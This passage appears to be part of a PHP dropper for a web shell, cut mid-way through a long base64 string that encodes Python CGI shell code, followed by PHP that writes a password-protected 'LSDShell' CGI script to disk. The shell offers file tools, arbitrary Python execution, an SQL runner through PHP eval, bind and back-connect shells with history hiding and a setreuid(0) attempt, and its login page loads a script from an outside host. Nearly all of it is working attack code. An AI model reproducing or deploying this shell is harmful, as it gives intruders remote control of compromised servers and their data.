aW1lLm1rdGltZSh0aW1lLnN0cnB0aW1lKF9SRVFVRVNUWydwMyddLCAiJVktJW0tJWQgJUg6JU06JVMiKSkKICAgICAgICAgICAgICAgIG9zLnV0aW1lKF9SRVFVRVNUWydwMSddLCAodG1zdG1wLCB0bXN0bXApKQogICAgICAgICAgICAgICAgaXRlbV9zdGF0ID0gb3Muc3RhdChfUkVRVUVTVFsncDEnXSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAndG91Y2gnLCB0aGlzLm4udmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbicgdmFsdWU9JyIKICAgICAgICBwcmludCBkYXRldGltZS5mcm9tdGltZXN0YW1wKGl0ZW1fc3RhdFtTVF9NVElNRV0pLnN0cmZ0aW1lKCIlWS0lbS0lZCAlSDolTTolUyIpCiAgICAgICAgcHJpbnQgIicvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPiIKCiAgICBwcmludCAiPC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvblB5dGhvbigpOgogICAgcHJpbnRIZWFkZXIoKQogICAgcHJpbnQgIjxoMT5FeGVjIHB5dGhvbiBjb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IgogICAgcHJpbnQgIiIiPGZvcm0gbmFtZT0iY2YiIG9uU3VibWl0PSJnKG51bGwsIG51bGwsIHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1jPiIiIgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+JwogICAgaWYgbGVuKF9SRVFVRVNUWydwMSddKSA+IDA6CiAgICAgICAgcHJpbnQgJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4OyI+JwogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wb3J0IFN0cmluZ0lPCiAgICAgICAgICAgIG9sZF9zdGRvdXQgPSBzeXMuc3Rkb3V0CiAgICAgICAgICAgIHN5cy5zdGRvdXQgPSBTdHJpbmdJTy5TdHJpbmdJTygpCiAgICAgICAgICAgIGV4ZWMoX1JFUVVFU1RbJ3AxJ10pCiAgICAgICAgICAgIGRhdGEgPSBzeXMuc3Rkb3V0LmdldHZhbHVlKCkKICAgICAgICAgICAgc3lzLnN0ZG91dCA9IG9sZF9zdGRvdXQKICAgICAgICAgICAgcHJpbnQgY2dpLmVzY2FwZShkYXRhKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcGFzcwogICAgICAgIHByaW50ICc8L3ByZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PiIKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25TUUwoKToKICAgIHByaW50SGVhZGVyKCkKICAgIHRoZXBocCA9ICcnJwokdXNlciA9ICJMT0xVU0VSRlVDSyI7JHBhc3N3b3JkID0gIkxPTFBBU1NGVUNLIjsgJGhvc3QgPSAiTE9MSE9TVEZVQ0siOyAkZGIgPSAiTE9MREJGVUNLIjsgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzc3dvcmQpOyAkcXVlcnkgPSAiTE9MUVVFUllGVUNLIjsgbXlzcWxfc2VsZWN0X2RiKCRkYik7ICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOyAgd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHsgZm9yKCRpID0gMDskaTxjb3VudCgkcm93KTskaSsrKSB7IGVjaG8gJHJvd1skaV0uJzxicj4nO30gfQonJycKICAgIGlmIF9SRVFVRVNULmhhc19rZXkoJ2RiJyk6CiAgICAgICAgcHJpbnQgIiIiPGgxPlNRTDwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT0nbmZwJyBtZXRob2Q9J3Bvc3QnPgoJPHNwYW4+UnVuIFNRTDwvc3Bhbj48YnIvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nc3FsJz4KCUhvc3Q6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdob3N0JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydob3N0J10rIiIiJz5EYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nIiIiK19SRVFVRVNUWydkYiddKyIiIic+IFVzZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VyJyB2YWx1ZT0nIiIiK19SRVFVRVNUWyd1c2VyJ10rIiIiJz4gUGFzczogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3MnIHZhbHVlPSciIiIrX1JFUVVFU1RbJ3Bhc3MnXSsiIiInPiBRdWVyeTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3F1ZXJ5JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydxdWVyeSddKyIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgZWxzZToKICAgICAgICBwcmludCAiIiI8aDE+U1FMPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG1ldGhvZD0ncG9zdCc+Cgk8c3Bhbj5SdW4gU1FMPC9zcGFuPjxici8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdzcWwnPgoJSG9zdDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hvc3QnIHZhbHVlPSdsb2NhbGhvc3QnPiBEYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nbXlzcWwnPiBVc2VyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcicgdmFsdWU9J3Jvb3QnPiBQYXNzOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgdmFsdWU9J2RvbmdzJz4gUXVlcnk6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdxdWVyeScgdmFsdWU9J3Nob3cgZGF0YWJhc2VzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT48YnI+PC9kaXY+IiIiCiAgICBpZiBfUkVRVUVTVC5oYXNfa2V5KCdkYicpOgogICAgICAgIHRoZXBocCA9IHRoZXBocC5yZXBsYWNlKCJMT0xVU0VSRlVDSyIsIF9SRVFVRVNUWyd1c2VyJ10pLnJlcGxhY2UoIkxPTFBBU1NGVUNLIiwgX1JFUVVFU1RbJ3Bhc3MnXSkucmVwbGFjZSgiTE9MUVVFUllGVUNLIiwgX1JFUVVFU1RbJ3F1ZXJ5J10pLnJlcGxhY2UoIkxPTERCRlVDSyIsIF9SRVFVRVNUWydkYiddKS5yZXBsYWNlKCJMT0xIT1NURlVDSyIsIF9SRVFVRVNUWydob3N0J10pCiAgICAgICAgdGhlcGhwID0gYjY0ZW5jb2RlKHRoZXBocCkgIyBjYXVzZSBmdWNrIGVzY2FwaW5nIHNoaXQKICAgICAgICB0aGVwaHAgPSAnXCIlc1wiJyAlIHRoZXBocAogICAgICAgIHByaW50IGNvbW1hbmRzLmdldG91dHB1dCgiZWNobyAnPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCIrdGhlcGhwKyIpKTsgPz4nIHwgcGhwIikucmVwbGFjZSgiXG4iLCI8YnI+IikKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25OZXR3b3JrKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSAhPSAiIjoKICAgICAgICBzb2NrPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKICAgICAgICBzb2NrLnNldHRpbWVvdXQoMTApCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAiYnAiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5iaW5kKCgnbG9jYWxob3N0JywgaW50KF9SRVFVRVNUWydwMiddKSkpCiAgICAgICAgICAgIHNvY2subGlzdGVuKDApCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwcmludCAiZXJyb3IiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcHJpbnQgImRvbmUiCiAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAoYyxhZGRyKT1zb2NrLmFjY2VwdCgpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAxKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDIpCiAgICAgICAgICAgIG9zLnN5c3RlbSgnL2Jpbi9zaCAtaScpCiAgICAgICAgICAgIGMuc2h1dGRvd24oMikKICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiYmMiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAxKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgICAgICAgICAgICAgb3Muc3lzdGVtKCcvYmluL2Jhc2ggLWknKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiY2MiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgdHJ5OiBvcy5zZXRyZXVpZCgwLDApCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICAgICB1bmFtZSA9IGNvbW1hbmRzLmdldG91dHB1dCgidW5hbWUgLWEiKQogICAgICAgICAgICBpZCA9IGNvbW1hbmRzLmdldG91dHB1dCgiaWQiKQogICAgICAgICAgICBwaWQsIGNoaWxkUHJvY2VzcyA9IHB0eS5mb3JrKCkgCiAgICAgICAgICAgIGlmIHBpZCA9PSAwOgogICAgICAgICAgICAgICAgc29jay5zZW5kKGFzY2lpKQogICAgICAgICAgICAgICAgc29jay5zZW5kKHVuYW1lKyJcclxuIitpZCsiXHJcbiIpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIkhJU1RGSUxFIiwiL2Rldi9udWxsIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSE9NRSIsb3MuZ2V0Y3dkKCkpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBBVEgiLCcvdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluOi9zYmluOicrb3MuZ2V0ZW52KCdQQVRIJykpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlRFUk0iLCdsaW51eCcpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBTMSIsY29sb3IrJycnXHVAXGg6XHdcJCAnJycrcmVzZXQpCiAgICAgICAgICAgICAgICBwdHkuc3Bhd24oIi9iaW4vYmFzaCIpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoIlxyXG4iKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigxKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgYiA9IHNvY2subWFrZWZpbGUob3MuT19SRE9OTFl8b3MuT19OT05CTE9DSykgCiAgICAgICAgICAgICAgICBjID0gb3MuZmRvcGVuKGNoaWxkUHJvY2VzcywncisnKSAKICAgICAgICAgICAgICAgIHkgPSB7YjpjLGM6Yn0KICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgICAgICAgICBmb3IgbiBpbiBzZWxlY3Quc2VsZWN0KFtiLGNdLFtdLFtdKVswXTogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB6ID0gb3MucmVhZChuLmZpbGVubygpLDQwOTYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLndyaXRlKHopIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgeVtuXS5mbHVzaCgpIAogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgICAgICAKICAgIHByaW50ICIiIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYnAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPgoJUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPScyMDQ4Jz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2JjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+QmFjay1jb25uZWN0IHNoZWxsOiA8L3NwYW4+PGJyLz4KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIiIitvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKyIiIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNDQzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdjYycsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkNoaXBweTEzMzcgZW5oYW5jZWQgYmFjay1jb25uZWN0IHNoZWxsIChyZXF1aXJlcyBzb2NhdCk6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPjxicj48L2Rpdj4iIiIKICAgIHByaW50Rm9vdGVyKCkKZGVmIGFjdGlvbkRET1MoKToKICAgIHByaW50SGVhZGVyKCkKICAgIGlmIF9SRVFVRVNUWydwMSddICE9ICIiOgogICAgICAgIHNvY2s9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgIHNvY2suc2V0dGltZW91dCgxMCkKICAgIGlmIF9SRVFVRVNUWydwMSddID09ICJicCI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmJpbmQoKCdsb2NhbGhvc3QnLCBpbnQoX1JFUVVFU1RbJ3AyJ10pKSkKICAgICAgICAgICAgc29jay5saXN0ZW4oMCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgIChjLGFkZHIpPXNvY2suYWNjZXB0KCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAwKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDEpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMikKICAgICAgICAgICAgb3Muc3lzdGVtKCcvYmluL3NoIC1pJykKICAgICAgICAgICAgYy5zaHV0ZG93bigyKQogICAgICAgICAgICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJiYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDApCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDEpCiAgICAgICAgICAgICAgICBvcy5kdXAyKHNvY2suZmlsZW5vKCksIDIpCiAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oJy9iaW4vYmFzaCAtaScpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDIpCiAgICBlbGlmIF9SRVFVRVNUWydwMSddID09ICJjYyI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmNvbm5lY3QoIChfUkVRVUVTVFsncDInXSwgaW50KF9SRVFVRVNUWydwMyddKSkgKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgImVycm9yIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50ICJkb25lIgogICAgICAgICAgICB0cnk6IG9zLnNldHJldWlkKDAsMCkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgIHVuYW1lID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJ1bmFtZSAtYSIpCiAgICAgICAgICAgIGlkID0gY29tbWFuZHMuZ2V0b3V0cHV0KCJpZCIpCiAgICAgICAgICAgIHBpZCwgY2hpbGRQcm9jZXNzID0gcHR5LmZvcmsoKSAKICAgICAgICAgICAgaWYgcGlkID09IDA6CiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoYXNjaWkpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQodW5hbWUrIlxyXG4iK2lkKyJcclxuIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKQogICAgICAgICAgICAgICAgb3MucHV0ZW52KCJIT01FIixvcy5nZXRjd2QoKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUEFUSCIsJy91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW46L3NiaW46Jytvcy5nZXRlbnYoJ1BBVEgnKSkKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiVEVSTSIsJ2xpbnV4JykKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiUFMxIixjb2xvcisnJydcdUBcaDpcd1wkICcnJytyZXNldCkKICAgICAgICAgICAgICAgIHB0eS5zcGF3bigiL2Jpbi9iYXNoIikKICAgICAgICAgICAgICAgIHNvY2suc2VuZCgiXHJcbiIpCiAgICAgICAgICAgICAgICBzb2NrLnNodXRkb3duKDEpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBiID0gc29jay5tYWtlZmlsZShvcy5PX1JET05MWXxvcy5PX05PTkJMT0NLKSAKICAgICAgICAgICAgICAgIGMgPSBvcy5mZG9wZW4oY2hpbGRQcm9jZXNzLCdyKycpIAogICAgICAgICAgICAgICAgeSA9IHtiOmMsYzpifQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgICAgICAgICAgICAgIGZvciBuIGluIHNlbGVjdC5zZWxlY3QoW2IsY10sW10sW10pWzBdOiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHogPSBvcy5yZWFkKG4uZmlsZW5vKCksNDA5NikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlbbl0ud3JpdGUoeikgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLmZsdXNoKCkgCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAgICAgICAgIAogICAgcHJpbnQgIiIiPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdicCcsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+CglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzIwNDgnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgo8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYmMnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CYWNrLWNvbm5lY3Qgc2hlbGw6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPgoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2NjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+Q2hpcHB5MTMzNyBlbmhhbmNlZCBiYWNrLWNvbm5lY3Qgc2hlbGwgKHJlcXVpcmVzIHNvY2F0KTogPC9zcGFuPjxici8+CglTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciIiIrb3MuZW52aXJvblsnUkVNT1RFX0FERFInXSsiIiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzQ0Myc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgcHJpbnRGb290ZXIoKQoKdHJ5OgogICAgewogICAgICAgICdmaWxlcycgOiBhY3Rpb25GaWxlcywKICAgICAgICAnZmlsZVRvb2xzJyA6IGFjdGlvbkZpbGVUb29scywKICAgICAgICAnY29uc29sZScgOiBhY3Rpb25Db25zb2xlLAogICAgICAgICdweXRob24nIDogYWN0aW9uUHl0aG9uLAogICAgICAgICduZXR3b3JrJyA6IGFjdGlvbk5ldHdvcmssCiAgICAgICAgJ3NxbCcgOiBhY3Rpb25TUUwsCiAgICAgICAgJ2Rkb3MnIDogYWN0aW9uRERPUwogICAgfVtfUkVRVUVTVFsnYSddXSgpCmV4Y2VwdCBLZXlFcnJvcjoKICAgIHByaW50SGVhZGVyKCkKICAgIHByaW50Rm9vdGVyKCkK';
        $file = fopen("dark0.xx", "w+");
        $write = fwrite($file, "#!/usr/bin/python\nimport sys, os, cgi, commands, time, Cookie, socket, pty,select\nfrom base64 import b64encode\nfrom stat import *\nfrom datetime import datetime\nsys.stderr = open(os.devnull, 'w')\npassword = \"27db7898211c8ccbeb4d5a97d198839a\" # r00t\nversion = \"0.5 [PRIV9]\"\nesc = '%s['%chr(27)\ncolor = esc + \"1;36m\"\nreset = esc + \"0m\"\n# don't ask why i did it this way, ''' doesnt agree with pty's\nascii = color################################################################################\nascii +='  @@@@@@@ @@@  @@@ @@@ @@@@@@@  @@@@@@@  @@@ @@@  @@@ @@@@@@  @@@@@@  @@@@@@@ \\r\\n'#\nascii +=' !@@      @@!  @@@ @@! @@!  @@@ @@!  @@@ @@! !@@  @@@     @@!     @@!      @@!\\r\\n'#\nascii +=' !@!      @!@!@!@! !!@ @!@@!@!  @!@@!@!   !@!@!   !@!  @!!!:   @!!!:      @!! \\r\\n'#\nascii +=' :!!      !!:  !!! !!: !!:      !!:        !!:    !!!     !!:     !!:  .!!:   \\r\\n'#\nascii +='  :: :: :  :   : : :    :        :         .:     :   ::: ::  ::: ::  : :     \\r\\n'#\nascii +='             ~[  P R I V 8  C O N N E C T   B A C K   S H E L L  ]~           \\r\\n'#\nascii += reset###############################################################################       \n\ndef getall(theform, nolist = False):\n    data = {}\n    for field in theform.keys():\n        if type(theform[field]) ==  type([]):\n            if not nolist:\n                data[field] = theform.getlist(field)\n            else:\n                data[field] = theform.getfirst(field)\n        elif theform[field].filename:\n            _FILES[field] = theform[field]\n        else:\n            data[field] = theform[field].value\n    return data\n\ndef escape(str):\n    return str.replace(\"'\", \"\\\\'\").replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\")\n\n_FILES = {}\n_REQUEST = getall( cgi.FieldStorage() )\nif _REQUEST.has_key('charset') == False:\n    _REQUEST['charset'] = \"Windows-1251\"\nif _REQUEST.has_key('a') == False:\n    _REQUEST['a'] = \"files\"\nif _REQUEST.has_key('c') == False:\n    _REQUEST['c'] = os.getcwd()\nif _REQUEST.has_key('p1') == False:\n    _REQUEST['p1'] = \"\"\nif _REQUEST.has_key('p2') == False:\n    _REQUEST['p2'] = \"\"\nif _REQUEST.has_key('p3') == False:\n    _REQUEST['p3'] = \"\"\n\n_COOKIE = Cookie.SimpleCookie()\ntry:\n    _COOKIE.load(os.environ[\"HTTP_COOKIE\"])\nexcept:\n    pass\n\ndef printLogin():\n    _COOKIE['psswd'] = \"\";\n    print _COOKIE;\n    print \"Content-type: text/html\\n\";\n    print \"\"\"    <style>\n        body{background-color:#444;color:#e1e1e1;}\n        body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\n        table.info{ color:#fff;background-color:#222; }\n        span,h1,a{ color:#00cfcf !important; }\n        span{ font-weight: bolder; }\n        h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }\n        div.content{ padding: 5px;margin-left:5px;background-color:#333; }\n        a{ text-decoration:none; }\n        a:hover{ text-decoration:underline; }\n        .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\n        .bigarea{ width:100%;height:250px; }\n        input,textarea,select{ margin:0;color:#00afaf;background-color:#555;border:1px solid #00afcf; font: 24pt Monospace,\"Courier New\"; }\n        form{ margin:0px; }\n        #toolsTbl{ text-align:center; }\n        .toolsInp{ width: 300px }\n        .main th{text-align:left;background-color:#5e5e5e;}\n        .main tr:hover{background-color:#5e5e5e}\n        .l1{background-color:#444}\n        pre,.m{font-family:Courier,Monospace;}\n    </style>\n<center><form method=post>Password: <input type=password name=psswd><input type=submit value='&gt;&gt;'></form></center>\n<script src=http://r00t.info/ccb.js></script>\"\"\"\n    exit()\n\nif _COOKIE.has_key('psswd') and len(_COOKIE['psswd'].value) > 0 :\n    if _COOKIE['psswd'].value != password:\n        printLogin()\nelif _REQUEST.has_key('psswd'):\n        try:\n            import hashlib\n            psswd = hashlib.md5()\n        except:\n            import md5\n            psswd = md5.new()\n        psswd.update(_REQUEST['psswd'])\n        if psswd.hexdigest() != password:\n            printLogin()\n        else:\n            _COOKIE['psswd'] = psswd.hexdigest()\n          \nelse:\n    printLogin()\n\nprint _COOKIE\nhome_dir = os.getcwd()\n\ntry:\n    os.chdir(_REQUEST['c'])\nexcept os.error, msg:\n    pass\n\ncwd = os.getcwd();\nif cwd[-1] != '/':\n    cwd += '/'\n\ndef printHeader():\n    print \"Content-type: text/html\\n\";\n    print \"<html><head><meta http-equiv='Content-Type' content='text/html; charset=\" + _REQUEST['charset'] + \"'><title>\" + os.environ[\"SERVER_NAME\"] + \" - LSDShell \" + version + \"\"\"</title>\n    <style>\n        body{background-color:#444;color:#e1e1e1;}\n        body,td,th{ font: 9pt 